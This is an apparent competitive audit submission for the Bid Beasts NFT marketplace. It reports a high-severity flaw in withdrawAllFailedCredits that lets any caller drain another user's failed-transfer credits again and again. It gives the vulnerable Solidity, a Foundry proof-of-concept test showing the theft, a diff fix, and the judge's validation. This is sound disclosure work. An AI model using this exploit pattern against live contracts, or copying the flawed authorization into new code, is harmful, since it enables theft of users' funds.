Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

[H-2] Incorrect Authorization in `withdrawAllFailedCredits` Allows Theft of Arbitrary User Funds

cosminmarian53

Incorrect Authorization in withdrawAllFailedCredits Allows Theft of Arbitrary User Funds

Description

  • The contract includes a mechanism to credit users whose ETH transfers fail. The withdrawAllFailedCredits function is intended to let users withdraw these credits.

  • The function incorrectly uses _receiver to determine which balance to withdraw but uses msg.sender as the recipient and the address to clear credits for. This allows an attacker (msg.sender) to specify a victim (_receiver) and drain their failed transfer credits. The victim's credit balance is never cleared, allowing the attacker to repeat the theft.

// src/BidBeastsNFTMarketPlace.sol
​
function withdrawAllFailedCredits(address _receiver) external {
uint256 amount = failedTransferCredits[_receiver]; // @> Reads victim's balance
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0; // @> Clears attacker's balance
​
(bool success,) = payable(msg.sender).call{value: amount}(""); // @> Pays attacker
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • The function is public and can be called directly by any address.

  • An attacker can monitor the contract for failedTransferCredits balances to appear and immediately exploit the vulnerability.

Impact: High

  • Direct theft of funds: Any funds accrued in the failedTransferCredits mapping are directly at risk of being stolen.

Proof of Concept

Consider the following test case:

// test/BidBeastsMarketPlaceTest.t.sol
​
function test_PoC_StealFailedCredits() public {
address maliciousActor = makeAddr("maliciousActor");
vm.deal(maliciousActor, 1 ether);
vm.deal(address(rejector), 5 ether);
​
_mintNFT();
_listNFT();
​
// A contract that cannot receive ETH places a bid.
vm.prank(address(rejector));
market.placeBid{value: MIN_PRICE + 1 ether}(TOKEN_ID);
​
// Another user outbids, triggering a refund to the contract, which fails.
vm.prank(BIDDER_2);
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
uint256 expectedCredit = MIN_PRICE + 1 ether;
assertEq(market.failedTransferCredits(address(rejector)), expectedCredit);
​
// The malicious actor calls the function, passing the victim's address.
uint256 attackerBalanceBefore = maliciousActor.balance;
vm.prank(maliciousActor);
market.withdrawAllFailedCredits(address(rejector));
​
// The malicious actor successfully steals the funds.
assertEq(maliciousActor.balance, attackerBalanceBefore + expectedCredit);
// The victim's balance is not cleared, allowing the attack to be repeated.
assertEq(market.failedTransferCredits(address(rejector)), expectedCredit);
}

Recommended Mitigation

Consider the following fix:

// src/BidBeastsNFTMarketPlace.sol
- function withdrawAllFailedCredits(address _receiver) external {
- uint256 amount = failedTransferCredits[_receiver];
- require(amount > 0, "No credits to withdraw");
-
- failedTransferCredits[msg.sender] = 0;
-
- (bool success,) = payable(msg.sender).call{value: amount}("");
- require(success, "Withdraw failed");
- }
+ function withdrawFailedCredits() external {
+ uint256 amount = failedTransferCredits[msg.sender];
+ require(amount > 0, "No credits to withdraw");
+
+ failedTransferCredits[msg.sender] = 0;
+
+ (bool success,) = payable(msg.sender).call{value: amount}("");
+ require(success, "Withdraw failed");
+ }
Updates

Lead Judging Commences

cryptoghost Lead Judge 2 months ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!